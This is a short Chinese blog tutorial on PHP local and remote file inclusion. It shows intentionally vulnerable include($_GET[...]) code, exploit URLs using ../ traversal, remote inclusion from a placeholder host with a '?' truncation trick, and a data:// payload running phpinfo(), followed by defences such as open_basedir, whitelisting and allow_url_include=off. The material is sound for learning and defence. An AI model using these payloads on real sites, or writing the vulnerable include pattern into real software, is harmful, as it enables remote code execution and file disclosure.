牛骨文教育服务平台(让学习变的简单)
博文笔记

php本地文件包含&远程文件包含

创建时间:2016-04-07 投稿人: 浏览次数:3833

由头:面试的时候被问到了,有些东西还是实践的太少,写此博客记录一下。

php文件包含函数:

include()

require()

include_once()

require_once()

本地文件包含:

<?php #存在本地文件包含的代码
	include($_GET["test"]);
?>

exploit:

包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):


跨目录包含:

http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件
http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件

防御:

防止跨目录:

在php.ini中设置open_basedir

open_basedir = C:Program FilesphpStudyWWWlfi #限制在当前目录下(包括子目录)
open_basedir = C:Program FilesphpStudyWWWlfi #限制在当前目录下(不包括子目录)

open_basedir可被绕过:wooyun链接

防止本地文件包含:
使用枚举

$file =$_GET["test"];
switch ($file) {
	case "lfi.txt":
		include("./lfi.txt");
		break;
	default:
		include("./notexists.txt");
		break;
}
?>



远程文件包含:

<?php
include($_GET["file"]."txt");
?>

exploit:

http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。

防御:

php.ini配置文件里allow_url_include=off


文件包含利用技巧:

1.远程文件包含时 利用 data://  (>5.2.0) 或者 input://协议

/rfi.php?file=data:text/plain,<?php%20phpinfo();?>


附:php的安全配置

Register_globals =off

Open_basedir

Allow_url_include =off

Display_errors =off

Log_errors = on

Magic_quotes_gpc =off

Cgi.fix_pathinfo

Session.cookie_httponly








声明:该文观点仅代表作者本人,牛骨文系教育信息发布平台,牛骨文仅提供信息存储空间服务。